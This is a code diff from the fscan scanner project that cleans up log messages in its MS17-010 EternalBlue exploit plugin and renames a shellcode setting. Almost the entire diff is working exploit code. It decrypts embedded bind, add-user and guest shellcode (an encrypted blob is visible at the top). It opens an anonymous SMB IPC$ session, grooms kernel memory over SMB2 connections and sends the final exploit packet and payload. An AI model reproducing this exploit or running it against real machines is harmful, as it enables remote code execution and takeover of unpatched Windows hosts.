MJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
||||||
var err error
|
var err error
|
||||||
sc, err = AesDecrypt(sc_enc, key)
|
sc, err = AesDecrypt(sc_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err))
|
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
|||||||
var err error
|
var err error
|
||||||
sc, err = AesDecrypt(sc_enc, key)
|
sc, err = AesDecrypt(sc_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err))
|
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -50,45 +50,45 @@ func MS17010EXP(info *Common.HostInfo) {
|
|||||||
var err error
|
var err error
|
||||||
sc, err = AesDecrypt(sc_enc, key)
|
sc, err = AesDecrypt(sc_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err))
|
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
default:
|
default:
|
||||||
// 从文件读取或直接使用提供的shellcode
|
// 从文件读取或直接使用提供的shellcode
|
||||||
if strings.Contains(Common.SC, "file:") {
|
if strings.Contains(Common.Shellcode, "file:") {
|
||||||
read, err := ioutil.ReadFile(Common.SC[5:])
|
read, err := ioutil.ReadFile(Common.Shellcode[5:])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.SC, err))
|
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
sc = fmt.Sprintf("%x", read)
|
sc = fmt.Sprintf("%x", read)
|
||||||
} else {
|
} else {
|
||||||
sc = Common.SC
|
sc = Common.Shellcode
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 验证shellcode有效性
|
// 验证shellcode有效性
|
||||||
if len(sc) < 20 {
|
if len(sc) < 20 {
|
||||||
fmt.Println("[-] 无效的Shellcode")
|
fmt.Println("无效的Shellcode")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解码shellcode
|
// 解码shellcode
|
||||||
sc1, err := hex.DecodeString(sc)
|
sc1, err := hex.DecodeString(sc)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err))
|
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 执行EternalBlue漏洞利用
|
// 执行EternalBlue漏洞利用
|
||||||
err = eternalBlue(address, 12, 12, sc1)
|
err = eternalBlue(address, 12, 12, sc1)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err))
|
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host))
|
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
|
||||||
}
|
}
|
||||||
|
|
||||||
// eternalBlue 执行EternalBlue漏洞利用
|
// eternalBlue 执行EternalBlue漏洞利用
|
||||||
@@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro
|
|||||||
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
|
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
|
||||||
scLen := len(sc)
|
scLen := len(sc)
|
||||||
if scLen > maxscSize {
|
if scLen > maxscSize {
|
||||||
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)",
|
return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)",
|
||||||
scLen, maxscSize, scLen-maxscSize)
|
scLen, maxscSize, scLen-maxscSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error {
|
|||||||
// 建立SMB1匿名IPC连接
|
// 建立SMB1匿名IPC连接
|
||||||
header, conn, err := smb1AnonymousConnectIPC(address)
|
header, conn, err := smb1AnonymousConnectIPC(address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 建立SMB连接失败: %v", err)
|
return fmt.Errorf("建立SMB连接失败: %v", err)
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
// 发送SMB1大缓冲区数据
|
// 发送SMB1大缓冲区数据
|
||||||
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||||
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
return fmt.Errorf("设置读取超时失败: %v", err)
|
||||||
}
|
}
|
||||||
if err = smb1LargeBuffer(conn, header); err != nil {
|
if err = smb1LargeBuffer(conn, header); err != nil {
|
||||||
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err)
|
return fmt.Errorf("发送大缓冲区失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 初始化内存喷射线程
|
// 初始化内存喷射线程
|
||||||
fhsConn, err := smb1FreeHole(address, true)
|
fhsConn, err := smb1FreeHole(address, true)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err)
|
return fmt.Errorf("初始化内存喷射失败: %v", err)
|
||||||
}
|
}
|
||||||
defer func() { _ = fhsConn.Close() }()
|
defer func() { _ = fhsConn.Close() }()
|
||||||
|
|
||||||
// 第一轮内存喷射
|
// 第一轮内存喷射
|
||||||
groomConns, err := smb2Grooms(address, grooms)
|
groomConns, err := smb2Grooms(address, grooms)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err)
|
return fmt.Errorf("第一轮内存喷射失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 释放内存并执行第二轮喷射
|
// 释放内存并执行第二轮喷射
|
||||||
fhfConn, err := smb1FreeHole(address, false)
|
fhfConn, err := smb1FreeHole(address, false)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 释放内存失败: %v", err)
|
return fmt.Errorf("释放内存失败: %v", err)
|
||||||
}
|
}
|
||||||
_ = fhsConn.Close()
|
_ = fhsConn.Close()
|
||||||
|
|
||||||
// 执行第二轮内存喷射
|
// 执行第二轮内存喷射
|
||||||
groomConns2, err := smb2Grooms(address, 6)
|
groomConns2, err := smb2Grooms(address, 6)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err)
|
return fmt.Errorf("第二轮内存喷射失败: %v", err)
|
||||||
}
|
}
|
||||||
_ = fhfConn.Close()
|
_ = fhfConn.Close()
|
||||||
|
|
||||||
@@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error {
|
|||||||
|
|
||||||
// 发送最终漏洞利用数据包
|
// 发送最终漏洞利用数据包
|
||||||
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||||
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
return fmt.Errorf("设置读取超时失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
|
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
|
||||||
if _, err = conn.Write(finalPacket); err != nil {
|
if _, err = conn.Write(finalPacket); err != nil {
|
||||||
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err)
|
return fmt.Errorf("发送漏洞利用数据包失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取响应并检查状态
|
// 获取响应并检查状态
|
||||||
raw, _, err := smb1GetResponse(conn)
|
raw, _, err := smb1GetResponse(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err)
|
return fmt.Errorf("获取漏洞利用响应失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 提取NT状态码
|
// 提取NT状态码
|
||||||
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
|
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus))
|
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
|
||||||
|
|
||||||
// 发送payload
|
// 发送payload
|
||||||
Common.LogSuccess("[*] 开始发送Payload")
|
Common.LogSuccess("开始发送Payload")
|
||||||
body := makeSMB2Body(payload)
|
body := makeSMB2Body(payload)
|
||||||
|
|
||||||
// 分段发送payload
|
// 分段发送payload
|
||||||
for _, conn := range groomConns {
|
for _, conn := range groomConns {
|
||||||
if _, err = conn.Write(body[:2920]); err != nil {
|
if _, err = conn.Write(body[:2920]); err != nil {
|
||||||
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err)
|
return fmt.Errorf("发送Payload第一段失败: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, conn := range groomConns {
|
for _, conn := range groomConns {
|
||||||
if _, err = conn.Write(body[2920:4073]); err != nil {
|
if _, err = conn.Write(body[2920:4073]); err != nil {
|
||||||
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err)
|
return fmt.Errorf("发送Payload第二段失败: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Common.LogSuccess("[+] Payload发送完成")
|
Common.LogSuccess("Payload发送完成")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
|||||||
// 建立TCP连接
|
// 建立TCP连接
|
||||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
return nil, nil, fmt.Errorf("连接目标失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 连接状态标记
|
// 连接状态标记
|
||||||
@@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
|||||||
|
|
||||||
// SMB协议协商
|
// SMB协议协商
|
||||||
if err = smbClientNegotiate(conn); err != nil {
|
if err = smbClientNegotiate(conn); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 匿名登录
|
// 匿名登录
|
||||||
raw, header, err := smb1AnonymousLogin(conn)
|
raw, header, err := smb1AnonymousLogin(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err)
|
return nil, nil, fmt.Errorf("匿名登录失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取系统版本信息
|
// 获取系统版本信息
|
||||||
if _, err = getOSName(raw); err != nil {
|
if _, err = getOSName(raw); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err)
|
return nil, nil, fmt.Errorf("获取系统信息失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 连接IPC共享
|
// 连接IPC共享
|
||||||
header, err = treeConnectAndX(conn, address, header.UserID)
|
header, err = treeConnectAndX(conn, address, header.UserID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err)
|
return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
ok = true
|
ok = true
|
||||||
@@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
|
|||||||
// 读取NetBIOS会话服务头
|
// 读取NetBIOS会话服务头
|
||||||
buf := make([]byte, 4)
|
buf := make([]byte, 4)
|
||||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err)
|
return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 校验消息类型
|
// 校验消息类型
|
||||||
messageType := buf[0]
|
messageType := buf[0]
|
||||||
if messageType != 0x00 {
|
if messageType != 0x00 {
|
||||||
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType)
|
return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析消息体大小
|
// 解析消息体大小
|
||||||
@@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
|
|||||||
// 读取SMB消息体
|
// 读取SMB消息体
|
||||||
buf = make([]byte, messageSize)
|
buf = make([]byte, messageSize)
|
||||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err)
|
return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析SMB头部
|
// 解析SMB头部
|
||||||
header := smbHeader{}
|
header := smbHeader{}
|
||||||
reader := bytes.NewReader(buf[:smbHeaderSize])
|
reader := bytes.NewReader(buf[:smbHeaderSize])
|
||||||
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
|
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err)
|
return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return buf, &header, nil
|
return buf, &header, nil
|
||||||
@@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error {
|
|||||||
|
|
||||||
// 构造NetBIOS会话服务头
|
// 构造NetBIOS会话服务头
|
||||||
if err := writeNetBIOSHeader(&buf); err != nil {
|
if err := writeNetBIOSHeader(&buf); err != nil {
|
||||||
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
return fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造SMB协议头
|
// 构造SMB协议头
|
||||||
if err := writeSMBHeader(&buf); err != nil {
|
if err := writeSMBHeader(&buf); err != nil {
|
||||||
return fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
return fmt.Errorf("构造SMB头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造协议协商请求
|
// 构造协议协商请求
|
||||||
if err := writeNegotiateRequest(&buf); err != nil {
|
if err := writeNegotiateRequest(&buf); err != nil {
|
||||||
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err)
|
return fmt.Errorf("构造协议协商请求失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送数据包
|
// 发送数据包
|
||||||
if _, err := buf.WriteTo(conn); err != nil {
|
if _, err := buf.WriteTo(conn); err != nil {
|
||||||
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err)
|
return fmt.Errorf("发送协议协商数据包失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取响应
|
// 获取响应
|
||||||
if _, _, err := smb1GetResponse(conn); err != nil {
|
if _, _, err := smb1GetResponse(conn); err != nil {
|
||||||
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err)
|
return fmt.Errorf("获取协议协商响应失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
@@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
|
|||||||
|
|
||||||
// 构造NetBIOS会话服务头
|
// 构造NetBIOS会话服务头
|
||||||
if err := writeNetBIOSLoginHeader(&buf); err != nil {
|
if err := writeNetBIOSLoginHeader(&buf); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造SMB协议头
|
// 构造SMB协议头
|
||||||
if err := writeSMBLoginHeader(&buf); err != nil {
|
if err := writeSMBLoginHeader(&buf); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
return nil, nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造会话设置请求
|
// 构造会话设置请求
|
||||||
if err := writeSessionSetupRequest(&buf); err != nil {
|
if err := writeSessionSetupRequest(&buf); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err)
|
return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送数据包
|
// 发送数据包
|
||||||
if _, err := buf.WriteTo(conn); err != nil {
|
if _, err := buf.WriteTo(conn); err != nil {
|
||||||
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err)
|
return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取响应
|
// 获取响应
|
||||||
@@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) {
|
|||||||
char := make([]byte, 2)
|
char := make([]byte, 2)
|
||||||
for {
|
for {
|
||||||
if _, err := io.ReadFull(reader, char); err != nil {
|
if _, err := io.ReadFull(reader, char); err != nil {
|
||||||
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err)
|
return "", fmt.Errorf("读取操作系统名称失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 遇到结束符(0x00 0x00)时退出
|
// 遇到结束符(0x00 0x00)时退出
|
||||||
@@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
|
|||||||
|
|
||||||
// 构造NetBIOS会话服务头
|
// 构造NetBIOS会话服务头
|
||||||
if err := writeNetBIOSTreeHeader(&buf); err != nil {
|
if err := writeNetBIOSTreeHeader(&buf); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造SMB协议头
|
// 构造SMB协议头
|
||||||
if err := writeSMBTreeHeader(&buf, userID); err != nil {
|
if err := writeSMBTreeHeader(&buf, userID); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
return nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造树连接请求
|
// 构造树连接请求
|
||||||
if err := writeTreeConnectRequest(&buf, address); err != nil {
|
if err := writeTreeConnectRequest(&buf, address); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err)
|
return nil, fmt.Errorf("构造树连接请求失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新数据包大小
|
// 更新数据包大小
|
||||||
@@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
|
|||||||
|
|
||||||
// 发送数据包
|
// 发送数据包
|
||||||
if _, err := buf.WriteTo(conn); err != nil {
|
if _, err := buf.WriteTo(conn); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err)
|
return nil, fmt.Errorf("发送树连接请求失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取响应
|
// 获取响应
|
||||||
_, header, err := smb1GetResponse(conn)
|
_, header, err := smb1GetResponse(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err)
|
return nil, fmt.Errorf("获取树连接响应失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return header, nil
|
return header, nil
|
||||||
@@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
|
|||||||
// IPC路径
|
// IPC路径
|
||||||
host, _, err := net.SplitHostPort(address)
|
host, _, err := net.SplitHostPort(address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 解析地址失败: %v", err)
|
return fmt.Errorf("解析地址失败: %v", err)
|
||||||
}
|
}
|
||||||
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
|
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
|
||||||
|
|
||||||
@@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
|
|||||||
// 发送NT Trans请求获取事务头
|
// 发送NT Trans请求获取事务头
|
||||||
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
|
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
return fmt.Errorf("发送NT Trans请求失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
treeID := transHeader.TreeID
|
treeID := transHeader.TreeID
|
||||||
@@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
|
|||||||
|
|
||||||
// 发送组合数据包
|
// 发送组合数据包
|
||||||
if _, err := conn.Write(transPackets); err != nil {
|
if _, err := conn.Write(transPackets); err != nil {
|
||||||
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err)
|
return fmt.Errorf("发送大缓冲区数据失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取响应
|
// 获取响应
|
||||||
if _, _, err := smb1GetResponse(conn); err != nil {
|
if _, _, err := smb1GetResponse(conn); err != nil {
|
||||||
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err)
|
return fmt.Errorf("获取大缓冲区响应失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
@@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
|
|||||||
|
|
||||||
// 构造NetBIOS会话服务头
|
// 构造NetBIOS会话服务头
|
||||||
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
|
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造SMB协议头
|
// 构造SMB协议头
|
||||||
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
|
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
return nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造NT Trans请求
|
// 构造NT Trans请求
|
||||||
if err := writeNTTransRequest(&buf); err != nil {
|
if err := writeNTTransRequest(&buf); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err)
|
return nil, fmt.Errorf("构造NT Trans请求失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送数据包
|
// 发送数据包
|
||||||
if _, err := buf.WriteTo(conn); err != nil {
|
if _, err := buf.WriteTo(conn); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
return nil, fmt.Errorf("发送NT Trans请求失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取响应
|
// 获取响应
|
||||||
_, header, err := smb1GetResponse(conn)
|
_, header, err := smb1GetResponse(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err)
|
return nil, fmt.Errorf("获取NT Trans响应失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return header, nil
|
return header, nil
|
||||||
@@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
|||||||
// 建立TCP连接
|
// 建立TCP连接
|
||||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
return nil, fmt.Errorf("连接目标失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 连接状态标记
|
// 连接状态标记
|
||||||
@@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
|||||||
|
|
||||||
// SMB协议协商
|
// SMB协议协商
|
||||||
if err = smbClientNegotiate(conn); err != nil {
|
if err = smbClientNegotiate(conn); err != nil {
|
||||||
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
return nil, fmt.Errorf("SMB协议协商失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 根据开始/结束标志设置不同参数
|
// 根据开始/结束标志设置不同参数
|
||||||
@@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
|||||||
// 构造并发送会话数据包
|
// 构造并发送会话数据包
|
||||||
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
|
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
|
||||||
if _, err = conn.Write(packet); err != nil {
|
if _, err = conn.Write(packet); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err)
|
return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取响应
|
// 获取响应
|
||||||
if _, _, err = smb1GetResponse(conn); err != nil {
|
if _, _, err = smb1GetResponse(conn); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err)
|
return nil, fmt.Errorf("获取会话响应失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
ok = true
|
ok = true
|
||||||
@@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
|
|||||||
// 创建TCP连接
|
// 创建TCP连接
|
||||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
return nil, fmt.Errorf("连接目标失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送SMB2头
|
// 发送SMB2头
|
||||||
if _, err = conn.Write(header); err != nil {
|
if _, err = conn.Write(header); err != nil {
|
||||||
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err)
|
return nil, fmt.Errorf("发送SMB2头失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
conns = append(conns, conn)
|
conns = append(conns, conn)
|
||||||
|
|||||||
+118
-61
@@ -3,10 +3,9 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"errors"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"log"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
